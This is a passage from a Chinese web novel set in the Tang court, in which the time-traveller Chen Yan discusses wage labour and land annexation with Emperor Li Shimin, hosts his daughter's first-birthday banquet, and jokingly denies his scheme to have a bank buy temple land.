李世民带着陈衍在宫中闲逛的时候,随口问道:“子安,接下来,你有什么打算?” “打算嘛......”陈衍思索道:“其实没什么好的打算,我接下来准备大力发展一下户部,看看能不能再找几个能用上的节点,一点点蓄势。” “待到将来,用煌煌大势冲垮掉一切反对的声音。” “这就是你早就提出累进税制,却一直不敢实行的原因?”李世民呵呵一笑,“就是说还没到时机呗。” 陈衍道:“到没到时机,您何必问我?您自己心里应该清楚才是。” “说句您不爱听的话,您当初打天下的时候,毕竟是靠世家勋贵,治理天下同样依靠他们,动他们,就等于在动您的治理根基。” “做这种事,一步踏错,就是万劫不复,我当然要小心小心,再小心,慎重慎重,再慎重。” “一点点累积,一步步前进,一天天蓄势,最终将这些汇聚在一起,成为足以碾碎一切的大势。” 李世民先是点点头,转而问道:“方才,智首问了你什么是因果,如今朕问你一个问题。” “陛下请说。” “你觉得......什么是大势?” “大势啊......”对于这个问题,陈衍考虑了很久,没有第一时间给出回答。 李世民并不着急,背着手,慢慢前进,耐心等待。 良久,陈衍回道:“所谓大势,可以从很多方面去理解,一是天意,二是民心,三是合力等等。” “如果从力的角度来说,所谓大势,不是由单人或单势就能推动的,而是由无数个体、群体、力量、变革、潮流等共同作用的结果。” “这股‘合力’所指向的方向,就是大势所趋。” “隋朝的灭亡,其实就是一个很好的例子。” 李世民微微侧头:“总结起来呢?” 陈衍淡淡道:“什么是大势?不可逆的就是大势,顺势者风生水起,逆势者尸骨无存。” “那你所说的蓄势,指的是哪方面?” “这个啊......”陈衍轻笑道:“这个方面就很多,例如我开的工坊,这其实已经勉强能称得上一句技术变革了。” “我只要维持住工坊的稳定,那么它随着时间推移,便会成为另外一股单一针对一方面的大势。” “只要我开了这个头,并且持久地做下去,成为了领路者,后来人一定会学着我做下去。” “一部分百姓,便不用只依靠田地,能通过手工业养活自己。” 李世民皱眉,思索片刻,疑惑道:“你为什么肯定,后来人一定会学你?” “你能给出那么高的工钱,是因为你有良心,其他人别说给工钱了,说不定就买几个奴隶,给顿饱饭吃就不错了。” “......” 第646章 你在前面带头冲锋 “哈哈,陛下,您这个问题很有趣,也很有道理。”陈衍笑着回道。 “既然觉得有道理,你又为何刚才否定呢?”李世民再度问了一句,想听听看他怎么说。 “其实很简单,光指望别人的良心,那确实靠不住。”陈衍边走边说,“所以我也没打算靠这个。” “那靠什么呢?” 陈衍回道:“从好几个方向出发,一是道德、二是法律、三是打破技术垄断。” “另外,大唐虽然禁止奴隶,实则私底下这方面的管控力度依然不够,需要真正严格管控起来。” “这一点相当重要,因为奴隶会严重影响手工业的兴起,而手工业是对抗土地兼并的一个重要因素,所以陛下一定要重视。” 李世民来了兴趣:“你仔细说说,什么叫手工业是对抗土地兼并的重要因素?” “就是你开的那些工坊,能对抗土地兼并?” “这就说来话长了.......”陈衍想了想,“不过陛下若是想听,咱们慢慢聊。” “首先,还记得我当初跟您说什么了吗?天下足够分配的利益就那么多,糕点就那么大。” “而地主豪绅太过贪婪,不会满足于手中的糕点,一定会想尽办法把百姓手中的糕点给夺过来。” 李世民道:“不错,朕记得你说过,而且你还说,如果想解决土地兼并,一定要把蛋糕做大,不能让这些地主豪绅只盯着百姓手中的土地。” “最好是让他们盯着外面。” “这只是其中一个原因罢了。”陈衍叹息,“土地兼并的问题何其之难,上千年以来,不知多少人为此前仆后继,结果却不尽人意。” “比如历史上的限田政策,实施过不少。” 陈衍顿了顿,继续道:“再理解我为什么说,手工业是对抗土地兼并的重要因素,陛下您首先得清楚,土地,是我们生存的基本。” “所谓民以食为天,这个食从哪里来?不正是土地吗?” “土地也是相当保值的东西,对不对?” “嗯。”提起这个,李世民啧了声:“就是因为土地值钱,所以这么多年以来,才会有人不断去兼并。” “倘若它不值钱,也就没什么值得让人兼并的了。” “那么。”陈衍缓缓开口,“我们是不是可以理解为,土地就是唯一的生存资源?所以才会引得大家都在争夺?” “为什么土地兼并的危害那么大?因为失去了土地这种唯一的生存资源,百姓就活不下去了。” “活不下去了,怎么办?” 李世民自己乐呵道:“活不下去了,自然就起义呗,还能怎么办?” “水能载舟,亦能覆舟这句话,实在太得朕心了。” 陈衍诧异道:“陛下,您倒是看得挺开,要知道,咱们大唐的土地兼并问题依旧没解决呢。” “看不开又能怎么样?徒增烦恼罢了。”李世民轻哼一声,看向陈衍: “再说了,朕不是还有你这个狗头军师吗?” “你在前头冲锋,朕给你提供必要的帮助就好了。” 陈衍:“.......” “您这话说的,我可是您女婿啊,亲的!” 李世民摆摆手,“知道了,知道了,你继续说,别废话。” 行吧。 你是皇帝,你说了算。 陈衍暗自腹诽一句,停顿了一下,像是在组织语言,然后才开口:“既然土地是大家唯一的生存资源,那么一旦百姓的土地被兼并殆尽,王朝便会走向覆灭。” “我们是不是可以想办法让百姓脱离土地而生存?不用永远地依靠土地生存?” 此话一出,如一声钟声,猛地在李世民脑海中炸响。 他豁然转过身,死死盯着陈衍,眼里有怀疑、有兴奋、还有丝丝恍然。 迟疑了好久,他急忙问道:“所以你说的手工业,就是你给百姓提供的,脱离土地生存的路?” “对。”陈衍坦然道:“当我大规模兴办手工业并发放工钱时,实际上正在创造一种全新的社会生产关系,即——雇佣劳动关系!” “陛下,看看,细细观察历史,您就能发现,在传统农业社会,土地是唯一的生存保障。” “农民‘生于斯,长于斯,死于斯’,被牢牢束缚在土地上,但当我提供工钱时,这个时候是不是就大不一样了?” 李世民皱了皱眉,嘴里不断喃喃,袖子里的手指一刻不停地敲动。 过了好一会儿,他想明白了,豁然开朗:“是不一样了,因为你给了百姓第二个选择!” “以前靠天吃饭,现在靠手艺吃饭,旱涝保收的工钱,或许比看老天爷脸色种地更有吸引力。” 陈衍道:“不错,陛下正解,确实如此。” “如此一来,依附的关系同样会彻底改变,农民依附于地主,工人依附于工坊主。” “但前者是人身性的,后者是契约性的,拿了工钱,理论上他可以跳槽,既然能给我做工,给别人为什么不行?” “从经济学的角度看,我发放了工钱,工人拿到了工钱,他们手中有了钱,要干什么?” 李世民急道:“你别废话,朕不太懂你那个经济学,你直接说会干什么。” “当然是买东西啊。”陈衍哑然道:“既然工人是依靠工坊主发放的工钱生存,他们当然没有粮食收获,只有工钱。” “所以,他们要生存,必然要花钱去购买生存资源。” “例如盐、粮食、绢帛、打家具,这些都需要吧?” “当然。”李世民肯定道:“他们自己不生产粮食,必然要花钱购买粮食。” 陈衍摊手道:“对呀,那么这样一来,钱财不就到处流通了起来吗?” “只要钱流通起来,死水就能被慢慢盘活,而当土地不再是唯一的生存资源,百姓有其他路可以活下去,土地的价值便会降低。” “只要我坚持去做这件事,就可以掀起一阵浪潮,成为我们将来改革之中,举足轻重的一股力量。” 李世民啧啧称奇:“想不到,你小子开的工坊还有这种用意,着实给了朕一个惊喜哈。” “朕考虑考虑,以后不打你板子了。” 陈衍:“......” “......” 第647章 跟朕斗,你还嫩了点 陈衍跟李世民聊了许久,眼看时间快到中午,李世民突然想起一件事。 “对了,你女儿今天不是满一岁吗?前几天的时候,朕就听到丽质在邀请一些亲朋好友去你家吃饭,你还不回去?” 陈衍一愣,随即一拍额头:“坏了,聊兴奋了,我把这件事给忘了。” “卧槽,都什么时辰了?陛下我得先回去了,您忙您的。” 李世民:“......” 他无奈摆摆手:“你自己回去慢得很,朕让无舌送你一趟吧。” “还有,上次你跟观音婢打的赌,观音婢认输了,回头你把兕子送回来两个月吧。” 一听这话,陈衍眨眨眼:“陛下,我就是开开玩笑的,皇后殿下当真啦?” 李世民面无表情道:“谁跟你开玩笑?朕的观音婢都认输了,愿赌服输,你还想怎么的?” “不过你自己要跟兕子说清楚,免得说是我们的主意,待会又告到太上皇那里去。” 陈衍:“......” 神特么跟兕子说清楚。 这能说得清楚吗? 怎么说? 总不能回去告诉兕子,我跟你娘打了个赌,然后你娘输了,代价是你必须回去住两个月吧? 兕子不得放飞自我,到处传自己八卦? “陛下......这......”陈衍犹豫道:“要不您跟皇后殿下说说,算了吧?” “反正我就是想告诉皇后殿下,寺庙的真正面目,打赌并不重要。” “再说了,兕子现在越来越大,不太好忽悠啊。” “不太好忽悠?”李世民冷笑一声,“朕看你们上次不是把她忽悠得一愣一愣的吗?” “怎么会不好忽悠呢?” “朕可不管你这些,观音婢身为皇后,既然接下了这个赌约,自然得履行,否则传出去,你让天下人怎么看待观音婢?” “不用说了,无舌,赶紧把咱们的伯爷送回去。” 无舌低着头来到陈衍旁边:“伯爷,请您跟奴婢这边来。” 陈衍:“......” 望着陈衍带着幽怨的目光离去,李世民得意地翘了翘小胡子,心情一下子好了很多。 “哼哼,小子,跟朕斗,你还嫩了点。” “.......” “你干什么去了?不知道今天什么日子吗?” 一回到家,高阳见到陈衍,顿时气不打一处来:“上一刻还说着话,下一刻就不见了人影。” “怎么?合着咱们的尚书大人满脑子只有国家大事,自己的亲闺女一点都不顾?” “那么多宾客都陆陆续续地来了,结果你这个一家之主不见了人。” “你让我跟姐姐怎么办?” “是是是。”陈衍自知理亏,没跟高阳对着干,推着她的肩膀往里面走:“今天不是特殊情况吗?” “你父皇专门派近侍来叫我,又跟我聊了许多重要的事情,我这也没办法啊。” “而且,咱们请的又不是别人,都是朋友。” “就是趁着这个机会聚聚而已,不用讲究那么多的,别生气啦。” 见陈衍难得好声好气地跟自己说话,高阳脸色缓和了许多,但仍然有些气不过: “那你就不知道早点吗?重要的事,并不代表是急事,你哪怕送走宾客之后,下午去跟父皇聊都好啊。” “我跟姐姐又不能做主......” “能做主。”陈衍笑道,“你可是高阳公主,你怎么不能做主呢?” “家里啊,大大小小的事,都由你说了算。” 高阳撇撇嘴,嘟囔道:“父皇也真是的,明知道你今天家里会来客人,上朝的时候不跟你谈,下了朝也不找你。” “等你回家了,准备迎接客人了,他把你叫走了。” “好啦好啦。”陈衍安慰道,“别说这个了,咱们快进去。” “客人们应该都到了吧?张姨饭菜准备好了没?” “来倒是来了.......”高阳先是说了一句,转而担忧道,“可你现在的身份终究不同了,是如今的户部尚书,很多事情需要特别注意。” “我看杜构、马周他们都带着妻儿过来,这也就罢了,毕竟这些都是你自己带出来的人,可还有个韩仲良什么的也带着家室过来,再加上程处默他们......” “咱们就是给女儿办个周岁宴,请一些好友就可以了,这些人都有官位在身,传出去,会不会对你产生不好的影响?” “不用担心这个。”陈衍无所谓地摆摆手,“我们又不是结党营私,只是吃吃饭,聚聚罢了。” “还有,你别想着隐瞒这个消息,越隐瞒反倒越引人怀疑,不如大大方方地办。” “反正咱们问心无愧,怕什么?” 高阳瞥了他一眼:“你心里有数就好,我就是提醒你一句。” “放心吧,咱们有正当理由,陛下都知晓这件事,不用担心。”陈衍再度安慰了一句,道: “好了,我先过去了.......” “咦。”陈衍发现了又来了一个客人,露出了一个笑容,“康侍郎,还有康夫人......这位应该是康公子吧,来,里面请。” 高阳几乎是条件反射地双手交握,露出一个得体的笑容。 “尚书大人。” 康崇见到陈衍,笑容满面道:“听说您的千金今日满周岁了,下官备了点薄礼,不是什么好东西,还望尚书大人收下。” 说着,他用手悄悄捅了捅旁边似乎有些呆滞的妻子。 苏织这才回过神,显得很是局促地提着礼物上前,怯怯道:“尚书大人,请......请问这些放哪里?” 陈衍微怔,看了眼露出一个歉意目光的康崇,又仔细看了看康崇的妻子。 表面上看,苏织女长相并不出众,勉强只能称得上一般,身上的穿着用料并不差,只是与她气质显得不怎么搭,看得出来,来之前应该精心打扮过。 年纪似乎不大,比康崇应该小一些,皮肤有些黑,提着礼物的手上还能看得到很多老茧。 应该是年轻时吃了太多苦,即便康崇后来官居五品,生活好起来,这些痕迹依然抹不掉。 陈衍笑了笑,拦住了想接下礼物的青儿,亲自从苏织女手中接过礼物: “来就来,下次不许带这么多礼物了,我都有些提不动了。” “还有......康崇,你有一位好妻子啊!” “走,里面请。” “.......” 第648章 织女说 “子安兄。” 正当陈衍想带着康崇一家去会客厅时,背后传来了房遗直的喊声。 陈衍转身,高兴道:“房兄,来啦?” “哟,还带着礼物?我瞅瞅是啥......你怎么能这样呢?以咱们的关系,你喵的就带些糕点、茶叶、还有一些小孩子玩具啊?” 房遗直的妻子轻笑道:“不是我们不想带好的,而是夫君说,如果带的礼物太好,您该不高兴。” “反而我们带一些寻常的东西,给您的千金带一些小玩具,您就会嘴上抱怨两句,然后高高兴兴地收下。” “如果您对这些不满意,那么就来日方长,今后接触的机会还多,希望您莫要生气。” “啧。”陈衍啧了声,无奈摇头:“看来,房兄已经成为了我肚子里的蛔虫了,我要说什么都被他猜到了。” “哈哈哈哈,人能来就好,你们的心意我收下了,里边请。” 房遗直自然清楚陈衍的性子,摆手道:“子安兄,你忙你的,别管我们,又不是第一次来了,我们清楚地方。” “尚书大人。”康崇也插话道,“房大人说得在理,您今天忙,您先忙你们的,我们自己过去就好。” “行。”陈衍也不清楚还有没有客人来,索性就答应了,但还是吩咐了一句,“青儿,你带他们过去。” “是,少爷。”青儿应了声。 几人又聊了几句,然后青儿便领着他们前往会客厅。 在康崇后面,苏织悄悄地扫了眼跟在陈衍身边,身穿淡紫襦裙、容貌艳丽,一直保持着得体笑容的高阳公主,沉默了一瞬,又小心翼翼地看了眼房遗直的妻子,袖子里的手不由攥紧了几分。 不管是陈衍的妻子,还是房遗直的妻子,不管从哪方面都好像要比她强出太多了。 无论是身上的气质、怎么穿搭都显得好看的衣裙,还是那种刻在骨子里的贵气、说话时的大大方方,都不是她能比的。 想到这里,苏织愈发局促,生怕给自己的夫君丢人。 走在前头的康崇似有所觉,回头看了妻子一眼,温和地笑了笑,压低声音道:“别紧张,尚书大人为人随和,他夫人高阳公主也没什么架子,你就当是寻常串门。” 苏织抿了抿唇,勉强露出一丝笑容,没有言语。 康崇似乎明白了什么,轻轻叹了口气,也没再说什么。 越走,苏织便越是心惊。 这就是陈尚书家里吗?院子真大,比自家那小宅子气派多了。 一路上花木扶疏,长廊曲折,看得出主人是用了心思的。 她攥紧了手里的帕子,又低头看了看自己的衣裳,虽然已是精心挑选过,可跟前面那位房夫人比起来,还是显得土气。 不知为何,苏织心里忽然涌现出一股酸楚。 她出身贫贱,当初只是一个织女,一次偶然的机会,认识了十里八乡有名的才子康崇。 两人没有什么惊天动地的爱情故事,有的只是平淡,在相处中自然而然成婚。 婚后,她织布,他读书。 苏织本以为这辈子就会这么过去,日子平平淡淡也挺好。 毕竟幸福不一定属于高贵的人,也不一定属于穷人,而属于知足的人。 在每天织布的间隙,偶尔抬头看看读书的康崇,后者每次都会回以她一个笑容。 这便够了。 只是苏织没想到,康崇不负才子之名,年纪轻轻便金榜题名,以一介寒门,成为了当年最意气风发的人。 当康崇金榜题名的消息从长安传来,说他不日便会回家时,苏织感觉一切仿佛一场梦境。 她为他高兴,为他骄傲,却又不免生出了几分自卑。 金榜题名,前途无量啊。 他还能记得自己这个要样貌没样貌,要礼仪没礼仪,大字不识一个的织女吗? 后来,苏织烙了两张康崇爱吃的葱油饼,捂在胸口,走了二十里路,在回家的必经之路迎接。 当年轻的康崇骑着马,身上背着红花,背后鼓锣齐鸣,意气风发地出现在她面前。 那一刻,苏织心里的骄傲与自卑达到了顶峰。 她怕呀。 怕康崇不再喜欢她了。 怕康崇不再喜欢她烙的葱油饼了。 而让她没想到的是,康崇没有嫌弃她,径直从马上下来,抱住了她。 一如往常般大口吃着她烙的葱油饼,还不忘夸赞她手艺好。 苏织已经记不清当时是什么心情,说了什么话了,只记得自己大哭了一场,被康崇安慰了许久。 后来,她被康崇带来了长安,他步步高升,家里生活愈发富足。 日子好像又安定了下来。 只是后来有一天,苏织忽然察觉康崇变了,变得沉默,不再像从前一样锋芒毕露。 本来前途一片光明的仕途,突然停滞了。 后来她才知道,原来是户部的侍郎看中了康崇,希望康崇娶自己的女儿。 不过康崇因为她,拒绝了户部侍郎。 得知这一切之后,苏织原本已经渐渐被时间消磨掉的自卑感再度涌现,再度达到顶峰。 她哭着跟康崇说,自己愿意做小,让他娶户部侍郎的女儿。 那天,康崇罕见地跟她大发一通脾气,让她今后莫要再说这种话。 强硬的态度,给了苏织无与伦比的安全感,也让她升起了强烈的愧疚感。 直到多年以后,陈衍出现,重新给了康崇机会。 所以苏织打心眼里感谢陈衍,为了今天陈衍女儿的周岁宴,苏织准备了好久好久。 方方面面她都做到了自认为的极限。 可一来到这里,见到那位只要站在那里,就注定成为全场瞩目的高阳公主,见到房遗直妻子大大方方地跟陈衍交谈,开玩笑。 而自己连一句话都说不出来。 她真的怕了。 怕待会进去见到旁人一个比一个好的妻子。 怕自己继续给丈夫丢人,一如既往地拖丈夫后腿。 她不想再这样了....... 想到这里,苏织脚步不由得慢了下来,沉默片刻,用最小的声音说:“夫君......我,我有些不舒服,要不你跟宽儿去吧,我回家等你们......” 话还没说完,康崇便拉住了妻子的手。 苏织一怔,疑惑地抬起头,对上了康崇经过岁月洗礼以及长久压迫,从而变得沧桑的眼睛。 唯一不变的,可能是他看向她时总是那么温柔。 康崇一言不发,只是微微侧头示意,然后不由分说地拉着她往前。 “.......” 第649章 大唐举重王 “哟,康侍郎?” 康家人进门,杜构站起身打趣道:“你今日可是来晚了些,我们已经到了有一会儿了,待会起码得自罚一杯才行啊。” “对了,这应该是康夫人和令郎吧?来,快请坐。” 康崇笑道:“今日确实有事耽搁了时辰,不过......我好像并不算来迟吧?” “方才房大人和其夫人半路改道了,说是要去看看尚书大人的千金,算起来,我比他还早到一些。” “我若是得自罚一杯,房大人又该怎么办呢?” “这好说。”杜构哈哈道:“既然比你来得还晚,那就让房兄先自罚,多喝一杯。” “不说这个了,先坐。” “好。”康崇跟杜构等人已经很熟悉了,知晓他们的性格,没客气什么,对着旁边的妻子道:“这边我们要喝酒的,你去那边坐吧,不用害怕。” 苏织点了点头,努力保持平静地扫了一眼厅内。 这里只摆了三桌,杜构等男人坐在一起,那边还有一桌坐着不少年轻貌美的女子,应该都是杜构这些人的妻子。 苏织先跟杜构他们打了声招呼,便自行前往女眷那桌坐下了。 刚开始,她其实还是有些紧张的,毕竟自己比起这些女子实在差得太多,有些显得格格不入,年纪更显得大。 只是这些女子好像并未用异样的眼光看她,反倒一个比一个热情。 杜构夫人温声道:“这位应该就是嫂子吧?早就听夫君说,康侍郎有一位在人生最低谷,依然对其不离不弃的妻子,这才有了年纪轻轻便金榜题名的康侍郎。” “嫂子,你可是吾等楷模啊。” “哪有。”苏织连连摆手,被说得有些不好意思,“我只是运气好,是我家夫君自己厉害,跟我没多大关系。” “您这就有些谦虚了。”说话的是程处默的妻子,作为世家女,她不管从哪方面都是无可挑剔的,说话很得人喜欢。 “即便我们不常出门,亦听说过,连陈尚书和陛下都在私底下夸赞过您的品德......” 这边,一众女子在闲聊,杜构、康崇这边也聊得挺高兴,大家脸上都带着笑容。 只是还无人动筷子,毕竟主人家还没来。 不久,陈衍跟李丽质、抱着女儿的高阳公主,还有房遗直一家走进来。 气氛顿时更热烈了。 程处默揶揄道:“哟,这是谁啊?难道是咱们大唐的举重王?陈载酒?” “哈哈哈哈。”尉迟恭顿时乐了,“不错,不错,是咱们大唐的举重王。” “俗话说,只有取错的名字,没有叫错的外号,整个大唐十道的经济都是老陈举着,这不是举重王是什么?” 陈衍额头浮现两条黑线,自己又特么多了个外号? 他当即扭头对那边的程处默妻子道:“弟妹啊,话说回来,你们当时能成亲,其中还有我一份功劳。当然啦,我也不要什么礼金、礼品什么的,就是咱处默老弟这个人吧......” “哎。”陈衍摇头叹息,“以前吧......他这个,嗯......你得见谅......” 话未说完,便被两声大喊打断了。 “哥!陈哥!” 程处默急忙扑了过来,捂着陈衍的嘴。 他哪里还不清楚陈衍想干什么?明显是想揭自己的老底啊。 自己这才新婚几个月,正是甜蜜的时候,哪里能经得起陈衍折腾? 他能不急吗? 程处默咬牙低声道:“不带这么玩的吧?” 陈衍扒开程处默的手,切了一声:“你啊,跟你爹一个德行,你说你没事惹我干什么?” “大唐举重王是吧?我待会就让你看看什么是大唐举重王的含金量。” 程处默:“......” “错了哥,我错了还不行吗?” “知道错了?” “.......知道错了。” “知道错了还不喝?” 程处默嘴角一抽,为了自己的家庭幸福,以及自己尚未出生的孩子,他二话不说,端起酒杯就干了。 卢玉烟轻轻笑了声,捂了捂自己的小腹,并未在意陈衍的话。 程处默的大名,整个长安二代圈子里谁不清楚啊? 以前种种,卢玉烟其实并不在意,因为这已经属于勋贵二代的常态。 而且她对程处默已经很满意啦。 家里公公婆婆很好说话,程处默自大婚之后,也从未出去玩过,除了公务,就待在家里。 她还有什么不满足的? “子安兄。” 这时,外面又传来一道叫声。 魏王跟魏王妃齐齐走进来。 陈衍见状忙起身拉着魏王,还顺便对魏王妃说了一句:“嫂子你自己坐哈,青雀这段时间是有点不像话了,天天不着家,我帮你说说他。” “好。”魏王妃眼睛大亮,重重点头答应下来。 李泰无语道:“子安兄,我这也是没有办法啊,眼看都四月份了,我现在又遇到一个难点......” “好了好了,别整你那些难点了,反正还有好几个月时间呢,以你的头脑,我相信你能在出征之前做出来。”陈衍不由分说地按着他坐下。 “你啊,别给自己那么大压力,能做就做,不能做就拉倒。” “如果实在不行,到时候我去跟你父皇说,他能理解的,反正咱们已经有一件大杀器了,关于大炮的事......随缘就好。” 李泰长叹道:“别随缘了,我可就指望着它戴罪立功了,要不然......” 说着,他摇了摇头。 陈衍拍着他的肩膀道:“别这样想,又没人怪你什么,你也是受害者。” “算了,不聊这个,来,咱们走一个。” 杜构点头附和:“是极,是极,今天大家好不容易聚一次,应该高兴才是。” “心里不痛快的事就不要提了。” 其余人纷纷出言附和。 对于魏王身上的事,他们其实并不了解,只是看陈衍和魏王的表情,就知道事情一定小不了。 “来。”陈衍帮他倒满酒,笑吟吟道:“别担心那些有的没的,一切还有我在呢。” “刚刚那个程小黑还说我是什么......大唐举重王,反正我都有这么个外号了,也不介意多举一点点。” “你那点事不算个啥,改天咱们带上几个小家伙,去醉仙楼好好搓一顿,然后再去按按摩。” “啥玩意过不去?” 李泰闻言,心里一暖。 举起酒杯,跟陈衍碰了一下。 “.......好,谢谢,子安兄。” “.......” 第650章 钱庄买地,跟我陈衍有什么关系? “说这些。” 陈衍随意摆摆手,也不怕这点东西了。 反正他身上的虱子多了,什么痒都不怕。 “对了,子安兄。”杜构察觉两人的气氛颇为不对,便站出来扯开话题道:“今日,你家小郡主满岁,你下朝之后便急匆匆回家了。” “怎么我们来的时候,却不见你人呢?” 提及这件事,程处默等人也有些疑惑。 请柬是陈衍命人提前发给他们的,陈衍这个人吧,虽然看起来不怎么靠谱,可一旦有事的时候,却是相当可靠的。 怎么今日却不见了人呢? “哎呀。”陈衍啧了声,“别提了,今日有一位佛门大师找到了陛下,点名要见我一面。” “关键这位大师的身份颇为特殊,陛下都需要给几分面子,所以我又进宫了。” “跟那位大师聊了一些话,又跟陛下商量一些事情,所以才耽搁了时辰。” 佛门...... 众人闻言,纷纷皱眉。 关于陈衍和现在佛门的关系,那还用说吗? 说是有大仇都不为过。 众多佛门子弟,从原本的特权阶级,直接被陈衍打成了平民。 如今各州各县还在对佛门进行清洗和彻查呢,这个时候佛门的人找上来......能有好事? 陈衍瞧见他们的表现,摇头道:“这个人不一样,并不是来找麻烦的.......算了,这件事也不用多提,反正已经过去了。” “接下来,杜构你们得把重心放在被佛门兼并的土地上,明白吗?” 杜构疑惑道:“子安兄,你这是什么意思?” “咱们现在不应该盯紧清理佛门的情况吗?” “土地......可以之后再说啊,这个又不急。” 陈衍白了他一眼:“你懂什么?天下熙熙皆为利往,从前的佛门超然,敛财不知多少,除了很多百姓自愿挂在他们名下的土地,他们自己购买的土地同样不少。” “任谁都看得出来,我们要取消佛门的特权,土地是一个很大的原因。” “佛门又不是傻子,在知道自己保不住土地,又失去特权,沦为百姓的情况下,他们会做什么?” 听到这话,众人露出了若有所思的神色。 马周迟疑道:“这些秃驴该不会想卖土地,最后捞一笔吧?” 陈衍没有说话,只是淡淡笑了笑。 虽然他什么都没说,可其余人已经明白了他的意思。 马周很可能说对了。 杜构、房遗直眉头一皱,眼神郑重了起来。 康崇摸着下巴道:“别说,我认为佛门还真的有可能干得出这些事。” “因为朝廷一旦彻查下去,按照目前大唐的制度,这些土地很有可能会被回收。” “方才陈尚书也说了,佛门的土地,有一部分来自百姓自愿挂在他们名下,另一部分,肯定是通过手段敛财,然后用钱财购买来的。” “如果他们要卖出去,在没有触犯律法的情况下,朝廷好像也没什么办法。” 秦怀道认同道:“换位思考一下,倘若我现在是佛门的人,在明知道朝廷是冲着土地来的,若留在手里,最终只会什么都保不住。” “倘若合法地卖出去,还能拿到一笔不菲的钱财,偏偏朝廷对此还无可奈何,那为什么不卖呢?” “卧槽了。”杜构猛地惊醒,沉声道:“如此说来,咱们现在确实应该盯紧这些土地。” “该回收就回收,免得被大肆贩卖了出去。” “不对。”房遗直低语,“现在自圣上下令取消佛门特权,已经过了一段时间,目前已经通过大唐民报宣扬了出去,各地都在实施下去。” “佛门搞不好已经开始贩卖土地了。” 杜构再次一惊。 是哈。 现在已经四月了。 离取消佛门特权已经过去了一段时间,消息早就传遍了天下。 如果要卖的话,佛门说不定早就开始了。 “卧槽!” 杜构气愤道:“如此说来,我们岂不是晚了一步?” “咳咳......”陈衍淡淡摆手,“不晚,还不晚,你们回头就赶紧盯紧这些寺庙,别让他们继续卖就行。” “否则的话,咱们费半天劲,什么都捞不着,岂不是亏死呢?” “怎么会亏呢?”小兕子不知道什么时候跑来了他们这边,搬着一张小凳子,踩上去,对着一个鸡腿下手了。 “你不是早就跟太子兄长密谋好了吗?用钱庄的钱大肆收购.......” “小兕子!!!” 陈衍顿时瞪了过去。 送走! 必须送走! 这小东西他是一天都受不了啦! 兕子缩了缩脖子,扯下一个鸡腿,不敢说话了,哒哒地又跑回了李丽质那边。 众人:“......” 尽管小兕子话没说完,可在场的人又没有傻子,哪里还不清楚怎么回事。 “.......子安兄,还得是你啊。”杜构沉默良久,最终幽幽开口。 “我说以你走一步看三步的能耐,怎么会到现在才让我们盯紧寺庙,免得土地被贩卖出去呢。” “原来你是想留出一个时间,用钱庄微操一下啊!” “高,实在是高!” 房遗直都忍不住说:“子安兄,你这......不怕陛下知道了,又打你板子啊?” 陈衍:“......” “打板子,打板子,打个屁板子!”他没好气道,“钱庄买地,跟我陈衍有什么关系?” “钱庄我才占几成股啊?” “三成都不到,我能做主吗?” “钱庄的所作所为,我怎么知道?” 众人:“......” 杜构无语道:“编,你继续编,你看我们信不信你。” “那你们不相信我有什么办法?”陈衍脸不红心不跳,“反正我已经跟你们说了实话,人钱庄有钱,那寺庙有地,人家一个愿意买,一个愿意卖,合规合法,我挑不出理啊。” “不瞒你们说,我也是看了钱庄正在跟寺庙买地,才想起来有这么回事。” “要我说,这事实在没办法,谁让咱们没提前想到呢?你们说对吧?” “......” 第651章 说对了一半 “子安兄......” 杜构无语道:“这里都是自己人,你这样说有意思吗?” “也就是我们了,要是换做旁人,怕是要说你以公谋私了。” “另外.......”杜构不解地提出一个问题,“你为何要让钱庄花钱去买田地?” “这部分田产但凡是由官府来彻查,大概率就充公了,届时不费一分一毫就可以拿下这些田产。” “何必要用钱庄的钱财去购买呢?” 别说,杜构问的问题,正好是其他人想问的。 因为他们费了那么大劲,一来是想为大唐拔除寺庙这颗巨大无比的毒瘤,二来是利用此事作为引子,踏出撼动特权的第一步。 其次,不也是为了这些利益吗? 可以说,经过这一遭,寺庙、僧侣的特权被取消掉,他们有太多操作可以把寺庙名下的田产拿回来了。 而他们身为户部官员,这些田产还不是到他们手中,由他们调配? 陈衍干嘛一定要冒着以公谋私的风险,让钱庄去买地呢? “大人.......有其他考量?”康崇神色认真了起来。 他觉得陈衍不会做吃力不讨好的事,其中想必有他们不了解的深意。 “啧。” 陈衍摸着下巴道:“话都说到这个份上,我也就不瞒你们了。” “我可以实话告诉你们,钱庄此次不仅会花钱接手一批寺庙的田地,今后遇到合适的机会,依然会继续花钱接手一批土地。” “我起初建立钱庄的目的,其一是为了经济流通,其二是为了方便民众,造福百姓,发展商业,至于第三.......” 说到这里,陈衍顿了顿,笑道:“第三是为了稳定物价,其中便包括粮价。” “我们都清楚,大唐已经步入正轨,正处于休养生息的关键阶段。” “自贞观四年以来,粮食的价格便开始了持续走低,到目前为止,不说其他地方,起码长安城的粮食价格,已经来到了极低的地步。” 杜构纳闷:“这不是好事吗?” “粮食价格越低,证明我大唐农业发展越好,产出喜人,各地安稳,所以才导致粮食价格下滑。” “这无论怎么看,都是一桩好事啊。” “不一样。”陈衍摇摇头:“你们只看到表面的利,却没有看到隐藏在下面的弊。” “粮食价格低,自然是好事,但如果低到了一定层次,就不一定是好事了。” “再者,上次洛阳水患,我一直关注的是什么?” 房遗直思索道:“你好像对洛阳的粮价上涨异常关注,说句不好听的,洛阳的水患都没见你那么关注过。” “嗯。”陈衍淡淡道:“洛阳因为它本身的地理位置,等寒冬过去,遇到春季大雨,发生水患并不难理解。” “甚至可以说很常见。” “历年来,洛阳经历过的这种事想必不少,这应该也是洛阳官员在洛阳出现水患时,没有第一时间上报的原因之一。” “我派人仔细跟从洛阳逃难而来的百姓聊过,从他们口中得知,洛阳确实在下大雨,并且有一些地方的房屋建筑遭受到了影响。” “可说到底,洛阳的大雨只是比去年稍重了一点点,影响到的只是少部分百姓,还不足以跟贞观四年一样,成为可怕的洪灾。” “水患终究是水患,咱们要关注,却更要看到水患之下,发生的异常事件。” “他们,才是导致百姓逃难而来的主要原因。” 杜构道:“所以,子安兄你认为是粮价上涨的原因?” 马周沉声道:“如果发生水患,洛阳官府不作为,加上粮价上涨,造成一小部分受到水患影响的百姓逃难确实可以理解。” 房遗直挠挠头,不解道:“等等......我们刚刚不是在说子安兄让钱庄收购土地的事吗?” “怎么又扯到洛阳水患和粮价上涨了?” 陈衍耐心回道:“我们的话题没说偏,我只是提出这件事,用它来告诉你们我让钱庄收购土地的原因。” “你先别打岔,我问你们。” “导致粮价上涨的原因是什么?” 